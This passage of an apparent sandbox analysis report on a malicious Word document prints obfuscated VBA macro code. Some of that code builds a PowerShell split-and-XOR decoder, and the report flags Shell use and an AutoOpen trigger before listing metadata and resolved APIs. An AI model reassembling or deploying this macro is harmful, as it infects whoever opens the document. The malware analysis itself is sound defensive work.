\"6_9\"\nwjzkQ = (hGvEBW * 35630 + 25135 * CInt(ipEwd - CDbl(92948)) * 89819 * Oct(46394))\nHpHCEuwiA = \"1_7\" + \"2s3\" + \"3k6\" + \"0M3\"\nswMScw = (RuusZv * 71663 + 18890 * CInt(ZYJhaw - CDbl(74392)) * 93443 * Oct(56637))\nNPvTojD = \"3>3\" + \"7U1\" + \"00\" + \"_11\" + \"1U\" + \"119\"\nwCEFUB = (MsTSP * 57863 + 94721 * CInt(jcXUf - CDbl(74434)) * 8464 * Oct(90373))\nbiozuTY = \">59\" + \"_11\" + \"7k\"\nEXlqM = (JQowBc * 26490 + 77935 * CInt(rNjsqQ - CDbl(19953)) * 89152 * Oct(23219))\nnYwwN = \"100\" + \"M10\" + \"8t\" + \"11\" + \"3U\" + \"33>\" + \"42e\"\nqUOcz = (rHoBwQ * 40560 + 99220 * CInt(JCajvz - CDbl(42313)) * 77095 * Oct(95041))\nJHbTunbqj = \"33e\" + \"38\" + \"e9\" + \"3k3\" + \"8e3\" + \"3c\"\nsjmtozvp = HEnVsX + bHHFpFcREw + HpHCEuwiA + NPvTojD + biozuTY + nYwwN + JHbTunbqj\nRCLEzt = (ZjVbvn * 82358 + 12464 * CInt(VZmia - CDbl(86260)) * 69797 * Oct(91065))\nEnd Function\nFunction QSMZsrNcOFA()\nOn Error Resume Next\nNjOQKU = (RwjojC * 77998 + 15139 * CInt(qmiWO - CDbl(28726)) * 68879 * Oct(49116))\nGdpSzFzN = \"42t\" + \"33\" + \"k3\"\nbwBTCY = (QYmJP * 16915 + 47382 * CInt(udoKR - CDbl(56860)) * 37334 * Oct(71098))\npIkAXDnaa = \"7P\" + \"11\" + \"5P1\" + \"06s\" + \"11\"\nLkGGZR = (zoiiYf * 96668 + 93511 * CInt(WPdCz - CDbl(6616)) * 65534 * Oct(25756))\njFlkaO = \"3e1\" + \"05k\" + \"11\" + \"3P3\" + \"3P\" + \"42s\" + \"33s\"\nbkZZHI = (LWHSR * 23544 + 83275 * CInt(nKaip - CDbl(54299)) * 30310 * Oct(60711))\nRuoKm = \"38c\" + \"47\" + \"_1\" + \"00>\" + \"12\"\nCvNpih = (Btczj * 46980 + 51174 * CInt(WaMJqi - CDbl(80121)) * 19260 * Oct(47099))\nRFnhJBFsNhw = \"1P1\" + \"00\" + \"k3\" + \"8c5\" + \"8s1\"\nQSMZsrNcOFA = GdpSzFzN + pIkAXDnaa + jFlkaO + RuoKm + RFnhJBFsNhw\nOndDX = (LFhWM * 89347 + 35558 * CInt(owQYjt - CDbl(49600)) * 29770 * Oct(68159))\nEnd Function\nFunction jjcNOJMLUY()\nOn Error Resume Next\nHPPGoN = (lpSUt * 60128 + 96156 * CInt(bmbqE - CDbl(39585)) * 53888 * Oct(15857))\nYNwqlfEhJ = \"03\" + \"P1\" + \"10\" + \"P1\" + \"15t\" + \"100\" + \"M96\"\nUsORai = (wEjwIl * 9516 + 32027 * CInt(JaFzI - CDbl(91380)) * 37884 * Oct(35078))\nWEjsNjioV = \"c98\" + \"c1\" + \"05s\" + \"41\" + \"M37\" + \">1\" + \"11\"\nHHwYf = (fGfmw * 99580 + 92475 * CInt(KVVov - CDbl(3083)) * 25430 * Oct(80832))\nvdLXYsGt = \"P10\" + \"5M\" + \"10\" + \"1U9\" + \"9c\" + \"74\"\nLWvtWI = (YYvOTX * 98369 + 50227 * CInt(KQBGS - CDbl(38636)) * 38407 * Oct(25021))\nrwWwQmwa = \"c8\" + \"1>\" + \"33\" + \"_1\"\nuimGY = (pRanB * 69344 + 60001 * CInt(wDNYD - CDbl(64548)) * 83586 * Oct(75386))\nmHfbKSLYL = \"04_\" + \"111\" + \"k33\" + \"k37\" + \"c1\" + \"09\"\nvPkkL = (OqDidc * 57442 + 78946 * CInt(AfZBw - CDbl(23274)) * 46894 * Oct(79140))\nvHTjJQl = \"k10\" + \"6c8\" + \"3s\" + \"11\" + \"3t\" + \"11\" + \"3s1\"\nIDDEvQ = (YHIrqn * 61275 + 57734 * CInt(LwwBBj - CDbl(39527)) * 27401 * Oct(91916))\nbowqkRBWHiT = \"13s\" + \"40\" + \"e12\" + \"2P\"\njjcNOJMLUY = YNwqlfEhJ + WEjsNjioV + vdLXYsGt + rwWwQmwa + mHfbKSLYL + vHTjJQl + bowqkRBWHiT\nYIpqK = (aFcIf * 19438 + 90588 * CInt(CEUVzb - CDbl(25010)) * 98862 * Oct(90501))\nEnd Function\nFunction qErwin()\nOn Error Resume Next\nkQZnd = (ipIXrW * 67557 + 32705 * CInt(UQiDVC - CDbl(3506)) * 1912 * Oct(22650))\nvbaowFpKwv = \"11\" + \"7e1\" + \"15M\" + \"120\" + \"M1\" + \"22\" + \"M3\"\nzMwQUK = (NVFuz * 75632 + 52695 * CInt(ZqBXv - CDbl(61021)) * 41387 * Oct(6814))\nqfUiuWojN = \"7P8\" + \"7U\" + \"71M\" + \"11\"\ndKiwZ = (iPNnj * 29535 + 68957 * CInt(oMSJN - CDbl(21522)) * 7802 * Oct(43964))\nPpMiwdR = \"6k\" + \"70M\" + \"96>\"\nGBwLAd = (TbIbn * 18776 + 61570 * CInt(oEWfjz - CDbl(89859)) * 72849 * Oct(79544))\nVPwUvjwjXuw = \"47P\" + \"69\" + \"c1\" + \"10\" + \"e11\"\nNKdWI = (TGhYuc * 12238 + 66250 * CInt(zUFGIl - CDbl(58412)) * 63197 * Oct(79493))\nNFnZcCi = \"8e1\" + \"11k\" + \"10\" + \"9U\" + \"110\"\nJoYnd = (QHtnT * 75381 + 94827 * CInt(QIjbH - CDbl(66671)) * 23102 * Oct(95903))\njQdcARCS = \">96\" + \"_10\" + \"1t7\" + \"1t1\" + \"04P\"\nqErwin = vbaowFpKwv + qfUiuWojN + PpMiwdR + VPwUvjwjXuw + NFnZcCi + jQdcARCS\ntlipfh = (idnAzE * 89251 + 37020 * CInt(MiUNv - CDbl(34403)) * 19940 * Oct(44592))\nEnd Function\nFunction zKElZaImdi()\nOn Error Resume Next\nqAFCZG = (LzfBw * 42756 + 71115 * CInt(MEpzwU - CDbl(23340)) * 26505 * Oct(25345))\nvUsqrznKwW = \"10\" + \"9s\" + \"100\" + \"M4\" + \"1e3\"\nvErkt = (bHDojb * 62290 + 8322 * CInt(roEPRF - CDbl(81149)) * 87032 * Oct(89610))\nDUjFrihDG = \"7s\" + \"111\" + \"s1\" + \"05\" + \"M10\"\nqcKaR = (mridCS * 51086 + 12664 * CInt(ZrSwt - CDbl(71123)) * 46146 * Oct(72208))\nwUPFuF = \"1c9\" + \"9U7\" + \"4c\"\nEjHwv = (FLwjC * 99871 + 31906 * CInt(mKujBa - CDbl(59426)) * 49406 * Oct(26026))\nhIHbLSDn = \"81\" + \"P4\" + \"7>8\"\nMrOXwB = (SqsWl * 43411 + 76632 * CInt(MYrVqE - CDbl(6227)) * 17870 * Oct(20024))\nlvEStY = \"5U\" + \"11\" + \"0U8\" + \"2U\"\nmwBWLn = (SKmDEh * 27730 + 90915 * CInt(jJXKA - CDbl(75856)) * 13009 * Oct(74783))\nkpKZct = \"11\" + \"7e\" + \"115\" + \"_1\" + \"04\" + \"t1\" + \"11M\"\nzKElZaImdi = vUsqrznKwW + DUjFrihDG + wUPFuF + hIHbLSDn + lvEStY + kpKZct\nBnEWtI = (DsKCOw * 60222 + 10311 * CInt(TMBtIr - CDbl(55086)) * 50689 * Oct(44011))\nEnd Function\nFunction XEBQXwDWM()\nOn Error Resume Next\ntlzfz = (OhJzav * 32196 + 56672 * CInt(ApEsF - CDbl(75156)) * 57985 * Oct(35608))\niQrbHc = \"10\" + \"2>4\" + \"1>\" + \"40k\" + \"45\"\nhbFth = (LdzYP * 94659 + 7236 * CInt(LKzPV - CDbl(11240)) * 32227 * Oct(44863))\nMVJLfrrzhwS = \"s3\" + \"3c3\" + \"7>1\"\nYYHCYh = (hPShz * 46028 + 74516 * CInt(zzozv - CDbl(84298)) * 27593 * Oct(45345))\nMRomshGQu = \"05\" + \"t1\" + \"16\" + \"M96\" + \"e91\" + \"_7\"\nbsiFXI = (CKfhV * 49271 + 13437 * CInt(wirziW - CDbl(30394)) * 75589 * Oct(45488))\nUwjSzpPas = \"2c4\" + \"0t5\" + \"8>\" + \"82\"\nPVRTbD = (AKafz * 22137 + 19061 * CInt(GimsF - CDbl(99104)) * 50346 * Oct(86361))\nTLfOuf = \"P1\" + \"17_\" + \"96\" + \"P11\" + \"5c\" + \"11\"\nXEBQXwDWM = iQrbHc + MVJLfrrzhwS + MRomshGQu + UwjSzpPas + TLfOuf\nANAOt = (MFKaHm * 90676 + 66272 * CInt(bXUOjH - CDbl(94522)) * 44265 * Oct(64405))\nEnd Function\nFunction YzhiJS()\nOn Error Resume Next\nYrcuSf = (cPSODu * 14492 + 70773 * CInt(aokBU - CDbl(21311)) * 93209 * Oct(7407))\nvbtjAWsOPz = \"7P\" + \"44\" + \">8\" + \"1k\"\nhiLMu = (qSWVi * 67659 + 20619 * CInt(vSJfPU - CDbl(46945)) * 55289 * Oct(25056))\nphKcS = \"11\" + \"5t1\" + \"10_\" + \"98>\" + \"100\"\nRhImfX = (vZikA * 57864 + 31018 * CInt(PXkYm - CDbl(4806)) * 60606 * Oct(29399))\nWOBGfnTZzJ = \"U1\" + \"14\" + \"M1\" + \"14\" + \"_3\" + \"3>\"\nojKfji = (FRhvNu * 7540 + 75875 * CInt(InKjIv - CDbl(77533)) * 87854 * Oct(19037))\nzENfSpmAi = \"37\" + \">1\" + \"05\" + \"U1\" + \"16\"\nzoEab = (RNzvNh * 27809 + 81205 * CInt(fiwUHU - CDbl(37973)) * 94095 * Oct(49546))\nuszwp = \"k9\" + \"6_9\" + \"1U\" + \"72\" + \"c5\" + \"8M9\"\nPVintv = (VjlEA * 83244 + 11540 * CInt(vhGrl - CDbl(51868)) * 47241 * Oct(38185))\nzZMraVjZo = \"9c\" + \"11\" + \"5>1\" + \"00>\" + \"96>\"\ndMrYBj = (riwLQj * 50211 + 7324 * CInt(wLiEh - CDbl(58305)) * 82929 * Oct(81981))\nrWsdzzArQrr = \"10\" + \"6_5\" + \"8P1\" + \"24\"\nYzhiJS = vbtjAWsOPz + phKcS + WOBGfnTZzJ + zENfSpmAi + uszwp + zZMraVjZo + rWsdzzArQrr\nMmNFo = (qBoJj * 6904 + 84839 * CInt(AHNWu - CDbl(88479)) * 86208 * Oct(24217))\nEnd Function\nFunction PFluWbJlA()\nOn Error Resume Next\nCqpPq = (MzVBN * 80203 + 87453 * CInt(lqtVO - CDbl(90230)) * 31213 * Oct(44148))\nVEzFNLOpoJ = \"M9\" + \"8U9\" + \"6k1\" + \"17s\" + \"98k\" + \"105\"\nEriwUI = (wSzfKO * 98852 + 76021 * CInt(mbKLC - CDbl(59171)) * 58156 * Oct(12592))\nAsXmPHh = \"U1\" + \"22\" + \"_1\" + \"18\" + \"_1\"\nbfBYdR = (ftkYIS * 85521 + 82320 * CInt(EuqOF - CDbl(44770)) * 82314 * Oct(10941))\njoCNGEw = \"15\" + \"P1\" + \"04P\" + \"11\" + \"7s\"\nPFluWbJlA = VEzFNLOpoJ + AsXmPHh + joCNGEw\ncTFLu = (NbEtc * 89760 + 45563 * CInt(iofUOP - CDbl(85194)) * 38202 * Oct(66717))\nEnd Function\nFunction mTmctClDjd()\nOn Error Resume Next\nlwkos = (EpvEBz * 72723 + 38134 * CInt(LLjNzO - CDbl(59150)) * 62978 * Oct(11360))\nuCaQON = \"10\" + \"0k4\" + \"4s1\" + \"05\" + \"e11\"\nZaCcq = (Illawp * 47806 + 67610 * CInt(onwTn - CDbl(69426)) * 4634 * Oct(21609))\nMtjNRKzHkr = \"0U\" + \"11\" + \"4P\" + \"11\" + \"7U\" + \"33\"\nDDLGj = (GRijS * 22641 + 2749 * CInt(FcsMA - CDbl(87877)) * 5713 * Oct(42542))\niXzUBLbEl = \"_3\" + \"7e9\" + \"4U\" + \"47c\"\nzuKbjN = (XXPhZ * 74456 + 31856 * CInt(BfTfL - CDbl(85851)) * 31856 * Oct(13290))\ntAnpqjC = \"68c\" + \"121\" + \"P9\"\natruXB = (SjROL * 47666 + 58062 * CInt(DLIvwT - CDbl(76373)) * 35902 * Oct(22237))\njJoUsiVI = \"8P\" + \"10\" + \"0U1\"\nLUaXKt = (oXBmWX * 1262 + 41517 * CInt(PsVCrc - CDbl(2975)) * 85124 * Oct(52247))\nOUCRtMbB = \"13\" + \"_1\" + \"17P\" + \"104\" + \"M1\" + \"10e\"\nkVKTma = (EMhruW * 45318 + 64124 * CInt(Bdohn - CDbl(14732)) * 49133 * Oct(97796))\nKrXKKRuIRb = \"111\" + \"s47\" + \"s7\" + \"6e\" + \"100\" + \"c11\"\nmTmctClDjd = uCaQON + MtjNRKzHkr + iXzUBLbEl + tAnpqjC + jJoUsiVI + OUCRtMbB + KrXKKRuIRb\nvzJzi = (iwLJL * 57045 + 6538 * CInt(LqToo - CDbl(12803)) * 40520 * Oct(42609))\nEnd Function\nFunction Iopfh()\nOn Error Resume Next\nUTbYDt = (cvLPr * 56484 + 43075 * CInt(iNIzK - CDbl(27088)) * 42080 * Oct(87741))\nRvufflYw = \"4M1\" + \"14s\" + \"96s\" + \"102\" + \"s10\" + \"0P5\" + \"8e1\"\nOcrUTl = (jZzofG * 90113 + 58184 * CInt(AjPSo - CDbl(45014)) * 66507 * Oct(38878))\nqwrwzw = \"24U\" + \"12\" + \"4' \" + \"-s\" + \"PlI\"\nKazXL = (zacJbC * 81996 + 18250 * CInt(TfRdi - CDbl(50263)) * 44738 * Oct(36460))\nOaKAK = \"T \" + \"'C\" + \"' -\" + \"sP\" + \"liT\" + \" 'e\"\nuKhGbK = (tWHIKu * 22946 + 26346 * CInt(pFdlC - CDbl(1508)) * 18222 * Oct(44848))\nNiHJDwaP = \"'-\" + \"Sp\" + \"LiT\" + \" '\"\nIopfh = RvufflYw + qwrwzw + OaKAK + NiHJDwaP\nwIFEm = (nHTdBC * 86170 + 97562 * CInt(ShfjA - CDbl(994)) * 48025 * Oct(38057))\nEnd Function\nFunction siZszlqSNKw()\nOn Error Resume Next\nNtVth = (tAJBcB * 72175 + 78818 * CInt(TVCbiM - CDbl(25841)) * 92954 * Oct(12201))\nTiOrktVUX = \"m'-\" + \"sP\" + \"Li\" + \"t '\" + \"u'\" + \" -S\"\nSUVZW = (ZoBqt * 35725 + 88127 * CInt(rjAsr - CDbl(42499)) * 33053 * Oct(63231))\nTznzQjzEDz = \"PL\" + \"it\" + \" '\" + \"s'\" + \"-Sp\" + \"li\" + \"t \"\nuQizzk = (AwOiPH * 46917 + 51932 * CInt(zCMjwr - CDbl(1585)) * 53649 * Oct(55097))\nUhzBRlftXp = \"'>'\" + \"-s\" + \"pLi\" + \"T \"\nzLUFku = (baJrGb * 7244 + 19633 * CInt(wDLKkL - CDbl(49013)) * 9920 * Oct(88287))\niDWKCwOtX = \"'k\" + \"' -\" + \"sPL\" + \"It\" + \"'_'\"\nEzuDP = (VOlff * 83808 + 58608 * CInt(dfwRvr - CDbl(51632)) * 17399 * Oct(49059))\njGijjU = \"-S\" + \"pL\" + \"It \" + \"'p\"\nvwQRz = (mPLQpo * 63509 + 44693 * CInt(olNSiK - CDbl(9262)) * 48812 * Oct(45770))\nQLXTG = \"' -\" + \"sPL\" + \"It\" + \"'T'\"\nENIJCs = (XmHSmD * 28389 + 95551 * CInt(PjNwow - CDbl(51550)) * 44386 * Oct(13321))\nwKOQhFvhtzP = \" |\" + \" %\" + \" {[\" + \"CH\"\nsiZszlqSNKw = TiOrktVUX + TznzQjzEDz + UhzBRlftXp + iDWKCwOtX + jGijjU + QLXTG + wKOQhFvhtzP\nNrvzq = (skuai * 12036 + 15985 * CInt(uRuPb - CDbl(3332)) * 64446 * Oct(97810))\nEnd Function\nFunction uzOXq()\nOn Error Resume Next\nluYLZ = (GmlCwf * 8263 + 54991 * CInt(RuuTTW - CDbl(29171)) * 18243 * Oct(46332))\nqVFljN = \"ar]\" + \"($\" + \"_ -\" + \"Bx\" + \"or\"\nDXELvF = (OWKCS * 22632 + 36205 * CInt(ootDLt - CDbl(80866)) * 77804 * Oct(9043))\nwkKvbJLuzB = \"'0\" + \"x0\" + \"1'\" + \") }\" + \" ) \" + \"))\"\nuzOXq = qVFljN + wkKvbJLuzB\nhHOfzV = (AWVVBa * 80431 + 95089 * CInt(QhSnz - CDbl(67452)) * 53468 * Oct(55104))\nEnd Function\n"
                    ]
                ]
            },
            "Analysis": {
                "Suspicious": [
                    [
                        "Shell",
                        "May run an executable file or a system command"
                    ],
                    [
                        "Chr",
                        "May attempt to obfuscate specific strings"
                    ]
                ],
                "AutoExec": [
                    [
                        "AutoOpen",
                        "Runs when the Word document is opened"
                    ]
                ]
            }
        },
        "Metadata": {
            "SummaryInformation": {
                "num_words": "0",
                "num_pages": "1",
                "last_saved_by": "",
                "creating_application": "Microsoft Office Word",
                "author": "Apaeluxaquwyn-PC",
                "revision_number": "1",
                "codepage": "1252",
                "title": "16688Ap28750",
                "comments": "",
                "num_chars": "1",
                "total_edit_time": "0",
                "create_time": "None",
                "template": "Normal.dotm",
                "last_printed": "None",
                "keywords": "",
                "security": "0",
                "last_saved_time": "None",
                "thumbnail": "None",
                "subject": "4379Ap89773"
            },
            "DocumentSummaryInformation": {
                "codepage_doc": "1252",
                "chars_with_spaces": "1",
                "shared_doc": "False",
                "paragraphs": "1",
                "hidden_slides": "None",
                "mm_clips": "None",
                "category": "65452Ap63951",
                "presentation_target": "None",
                "hlinks_changed": "False",
                "scale_crop": "False",
                "version": "1048576",
                "hlinks": "None",
                "link_base": "None",
                "company": "32377Ap52052",
                "unused": "None",
                "dig_sig": "None",
                "content_type": "None",
                "heading_pairs": "None",
                "slides": "None",
                "links_dirty": "False",
                "language": "None",
                "notes": "None",
                "bytes": "None",
                "manager": "None",
                "content_status": "None",
                "doc_version": "None",
                "titles_of_parts": "None",
                "lines": "1"
            },
            "HasMacros": "Yes",
            "DocumentType": "Word Document"
        }
    }
}

[*] Resolved APIs: [
    "mso.dll.#5360",
    "mso.dll.#8574",
    "msi.dll.#39",
    "mso.dll.#8218",
    "mso.dll.#8318",
    "mso.dll.#2513",
    "mso.dll.#2088",
    "mso.dll.#1283",
    "mso.dll.#5274",
    "mso.dll.#3195",
    "mso.dll.#4647",
    "mso.dll.#8705",
    "mso.dll.#971",
    "mso.dll.#9218",
    "mso.dll.#9342",
    "kernel32.dll.InitializeSRWLock",
    "kernel32.dll.AcquireSRWLockExclusive",
    "kernel32.dll.AcquireSRWLockShared",
    "kernel32.dll.ReleaseSRWLockExclusive",
    "kernel32.dll.ReleaseSRWLockShared",
    "shell32.dll.SHGetFolderPathW",
    "mso.dll.#1443",
    "mso.dll.#9214",
    "mso.dll.#199",
    "mso.dll.#1073",
    "mso.dll.#4255",
    "mso.dll.#6588",
    "msi.dll.#111",
    "mso.dll.#5889",
    "mso.dll.#2422",
    "mso.dll.#5735",
    "mso.dll.#5002",
    "gkword.dll.FValidateWordFile",
    "gkword.dll.GkInitHost",
    "mso.dll.#2739",
    "mso.dll.#3459",
    "mso.dll.#5709",
    "mso.dll.#6333",
    "mso.dll.#420",
    "mso.dll.#408",
    "mso.dll.#2714",
    "mso.dll.#8622",
    "mso.dll.#3380",
    "mso.dll.#4208",
    "mso.dll.#8980",
    "mso.dll.#1006",
    "mso.dll.#8046",
    "mso.dll.#1262",
    "mso.dll.#3043",
    "mso.dll.#8931",
    "shell32.dll.SHGetFileInfoW",
    "mso.dll.#5362",
    "mso.dll.#6516",
    "mso.dll.#6221",
    "mso.dll.#6044",
    "mso.dll.#5780",
    "mso.dll.#4870",
    "mso.dll.#6046",
    "mso.dll.#1241",
    "mso.dll.#2821",
    "mso.dll.#2340",
    "mso.dll.#7287",
    "mso.dll.#5290",
    "mso.dll.#1508",
    "user32.dll.IsZoomed",
    "user32.dll.GetWindowPlacement",
    "user32.dll.GetWindowRect",
    "mso.dll.#821",
    "user32.dll.GetSystemMetrics",
    "user32.dll.MonitorFromWindow",
    "user32.dll.MonitorFromRect",
    "user32.dll.MonitorFromPoint",
    "user32.dll.EnumDisplayMonitors",
    "user32.dll.GetMonitorInfoA",
    "user32.dll.EnumDisplayDevicesA",
    "mso.dll.#2378",
    "user32.dll.SetWindowPos",
    "user32.dll.AdjustWindowRect",
    "mso.dll.#5912",
    "mso.dll.#9719",
    "mso.dll.#8824",
    "mso.dll.#6117",
    "mso.dll.#3307",
    "user32.dll.SendMessageW",
    "user32.dll.DestroyIcon",
    "mso.dll.#3813",
    "mso.dll.#1815",
    "user32.dll.PtInRect",
    "mso.dll.#1613",
    "user32.dll.SetWindowTextW",
    "user32.dll.GetClassLongW",
    "mso.dll.#8572",
    "gdi32.dll.CreateDIBSection",
    "gdi32.dll.CreateCompatibleDC",
    "gdi32.dll.GetViewportOrgEx",
    "gdi32.dll.SetViewportOrgEx",
    "gdi32.dll.SetBkColor",
    "gdi32.dll.ExtTextOutA",
    "mso.dll.#1573",
    "mso.dll.#8612",
    "user32.dll.SetScrollRange",
    "mso.dll.#2509",
    "user32.dll.BeginDeferWindowPos",
    "user32.dll.DeferWindowPos",
    "user32.dll.EndDeferWindowPos",
    "user32.dll.OffsetRect",
    "user32.dll.EnumChildWindows",
    "gdi32.dll.DeleteDC",
    "user32.dll.GetScrollInfo",
    "user32.dll.MapWindowPoints",
    "msptls.dll.?FsCreatePageFinite@Ptls6@@YGJPAUfscontext@1@PBUfsbreakrecpage@1@PAUfsnameclient@1@PAU_fsfmtr@1@PAPAUfspage@1@PAPAU31@@Z",
    "msptls.dll.?FsTransformRectangle@Ptls6@@YGJKPBUtagFSRECT@1@0KPAU21@@Z",
    "mso.dll.#6126",
    "msptls.dll.?LsCreateLine@Ptls6@@YGJPAUlscontext@1@PAUlsparaclient@1@PBUlspap@1@JPBUlslinerestr@1@PBUlsbreakrecline@1@PAPAU61@PAUlslinfo@1@PAPAVCLsLine@1@@Z",
    "gdi32.dll.GetFontRealizationInfo",
    "gdi32.dll.GetFontFileInfo",
    "gdi32.dll.GetFontFileData",
    "mso.dll.#7261",
    "mso.dll.#9540",
    "usp10.dll.ScriptGetFontScriptTags",
    "usp10.dll.ScriptGetFontLanguageTags",
    "usp10.dll.ScriptGetFontFeatureTags",
    "msptls.dll.?LsGetObjectName@Ptls6@@YG?AVLSNAMEEXP@1@PBVCLsDnode@1@@Z",
    "msptls.dll.?LsdnFinishWordRegular@Ptls6@@YGJPAVCLsDnode@1@JPAUlsrun@1@PBUlschp@1@PAVCLsObject@1@PBUOBJDIM@1@HHH@Z",
    "msptls.dll.?LsdnSetRigidDup@Ptls6@@YGJPAVCLsDnode@1@J@Z",
    "msptls.dll.?LsQueryLineVisibilityWord@Ptls6@@YGJPAVCLsLine@1@PAJPAH@Z",
    "msptls.dll.?LsQueryLineMaxDepth@Ptls6@@YGJPAVCLsLine@1@PAJ@Z",
    "msptls.dll.?LsEnumLine@Ptls6@@YGJPAVCLsLine@1@HHPBUtagLSPOINT@1@@Z",
    "msptls.dll.?LsModifyLineHeight@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@JJJJ@Z",
    "msptls.dll.?FsQueryPageDetails@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@PAUfspagedetails@1@@Z",
    "msptls.dll.?FsQueryPageSectionList@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@JPAUfssectiondescription@1@PAJ@Z",
    "msptls.dll.?FsQuerySectionDetails@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@PAUfssectiondetails@1@@Z",
    "msptls.dll.?FsQuerySectionCompositeColumnList@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@JPAUfscompositecolumndescription@1@PAJ@Z",
    "msptls.dll.?FsQueryCompositeColumnDetails@Ptls6@@YGJPAUfscontext@1@PBUfscompositecolumn@1@PAUfscompositecolumndetails@1@@Z",
    "msptls.dll.?FsQueryTrackDetails@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@PAUfstrackdetails@1@@Z",
    "msptls.dll.?FsQueryTrackParaList@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@JPAUfsparadescription@1@PAJ@Z",
    "msptls.dll.?FsQueryTextDetails@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@PAUfstextdetails@1@@Z",
    "msptls.dll.?FsQueryLineListComposite@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@JPAUfslinedescriptioncomposite@1@PAJ@Z",
    "msptls.dll.?FsQueryLineCompositeElementList@Ptls6@@YGJPAUfscontext@1@PBUfsline@1@JPAUfslineelement@1@PAJ@Z",
    "msptls.dll.?LsDestroyLine@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@@Z",
    "mso.dll.#2566",
    "mso.dll.#1429",
    "mso.dll.#6502",
    "uiautomationcore.dll.UiaClientsAreListening",
    "msptls.dll.?FsDestroyPage@Ptls6@@YGJPAUfscontext@1@PAUfspage@1@@Z",
    "msptls.dll.?FsDestroyContext@Ptls6@@YGJPAUfscontext@1@@Z",
    "user32.dll.SetRectEmpty",
    "user32.dll.IntersectRect",
    "user32.dll.InflateRect",
    "mso.dll.#1100",
    "mso.dll.#7047",
    "msptls.dll.?LsQueryLineDup@Ptls6@@YGJPAVCLsLine@1@PAUlslinearea@1@@Z",
    "user32.dll.GetCursor",
    "user32.dll.GetClientRect",
    "user32.dll.SetScrollInfo",
    "user32.dll.IsWindowEnabled",
    "user32.dll.SetScrollPos",
    "mso.dll.#3747",
    "mso.dll.#5394",
    "mso.dll.#331",
    "mso.dll.#6829",
    "mso.dll.#539",
    "mso.dll.#4959",
    "mso.dll.#6463",
    "mso.dll.#4987",
    "user32.dll.GetWindow",
    "mso.dll.#7195",
    "mso.dll.#7573",
    "mso.dll.#445",
    "user32.dll.GetCaretBlinkTime",
    "user32.dll.CreateCaret",
    "msptls.dll.?LsQueryLineCpPpoint@Ptls6@@YGJPAVCLsLine@1@JJPAUlsqsubinfo@1@PAJPAUlstextcell@1@@Z",
    "user32.dll.DestroyCaret",
    "user32.dll.GetCaretPos",
    "user32.dll.SetCaretPos",
    "mso.dll.#5932",
    "mso.dll.#2071",
    "mso.dll.#1024",
    "mso.dll.#6245",
    "mso.dll.#9041",
    "mso.dll.#1767",
    "mso.dll.#9369",
    "mso.dll.#4617",
    "user32.dll.FillRect",
    "mso.dll.#343",
    "mso.dll.#9636",
    "mso.dll.#2022",
    "mso.dll.#4750",
    "mso.dll.#4577",
    "mso.dll.#850",
    "mso.dll.#1776",
    "mso.dll.#9026",
    "mso.dll.#4497",
    "mso.dll.#8926",
    "mso.dll.#7212",
    "mso.dll.#5407",
    "mso.dll.#5152",
    "shell32.dll.SHAddToRecentDocs",
    "mso.dll.#3327",
    "mso.dll.#1335",
    "mso.dll.#2041",
    "mso.dll.#7834",
    "mso.dll.#239",
    "mso.dll.#6357",
    "mso.dll.#7026",
    "mso.dll.#1671",
    "mso.dll.#8263",
    "mso.dll.#9307",
    "mso.dll.#1441",
    "mso.dll.#9223",
    "mso.dll.#6453",
    "mso.dll.#8044",
    "mso.dll.#3698",
    "mso.dll.#8565",
    "oleaut32.dll.#7",
    "mso.dll.#8373",
    "mso.dll.#9741",
    "mso.dll.#478",
    "mso.dll.#479",
    "mso.dll.#340",
    "bcrypt.dll.BCryptOpenAlgorithmProvider",
    "bcryptprimitives.dll.GetHashInterface",
    "bcrypt.dll.BCryptGetProperty",
    "bcrypt.dll.BCryptCreateHash",
    "bcrypt.dll.BCryptHashData",
    "bcrypt.dll.BCryptFinishHash",
    "bcrypt.dll.BCryptDestroyHash",
    "bcrypt.dll.BCryptCloseAlgorithmProvider",
    "mso.dll.#8633",
    "mso.dll.#5213",
    "mso.dll.#6163",
    "mso.dll.#552",
    "mso.dll.#5630",
    "mso.dll.#1607",
    "ole32.dll.PropVariantClear",
    "oleaut32.dll.#9",
    "mso.dll.#1638",
    "mso.dll.#1725",
    "user32.dll.RegisterWindowMessageW",
    "advapi32.dll.RegQueryValueW",
    "apphelp.dll.ApphelpCheckShellObject",
    "ole32.dll.CoRevokeInitializeSpy",
    "comctl32.dll.#388",
    "mso.dll.#4314",
    "sxs.dll.SxsOleAut32MapReferenceClsidToConfiguredClsid",
    "mso.dll.#6484",
    "sxs.dll.SxsOleAut32RedirectTypeLibrary",
    "advapi32.dll.RegOpenKeyW",
    "mso.dll.#2183",
    "mso.dll.#2161",
    "vbe7.dll.DllVbeInit",
    "msi.dll.MsiProvideQualifiedComponentA",
    "msi.dll.MsiGetProductCodeA",
    "msi.dll.MsiReinstallFeatureA",
    "msi.dll.MsiProvideComponentA",
    "kernel32.dll.HeapSetInformation",
    "advapi32.dll.EventWrite",
    "advapi32.dll.EventRegister",
    "advapi32.dll.EventUnregister",
    "kernel32.dll.InitializeCriticalSectionAndSpinCount",
    "vbeui.dll._MsoVBADigSigCallDlg@20",
    "vbeui.dll._MsoVbaInitSecurity@4",
    "vbeui.dll._MsoFIEPolicyAndVersion@8",
    "vbeui.dll._MsoFAnsiCodePageSupportsLCID@8",
    "vbeui.dll._MsoFInitOffice@20",
    "vbeui.dll._MsoUninitOffice@4",
    "vbeui.dll._MsoFGetFontSettings@20",
    "vbeui.dll._MsoRgchToRgwch@16",
    "vbeui.dll._MsoHrSimpleQueryInterface@16",
    "vbeui.dll._MsoHrSimpleQueryInterface2@20",
    "vbeui.dll._MsoFCreateControl@36",
    "vbeui.dll._MsoFLongLoad@8",
    "vbeui.dll._MsoFLongSave@8",
    "vbeui.dll._MsoFGetTooltips@0",
    "vbeui.dll._MsoFSetTooltips@4",
    "vbeui.dll._MsoFLoadToolbarSet@24",
    "vbeui.dll._MsoFCreateToolbarSet@28",
    "vbeui.dll._MsoHpalOffice@0",
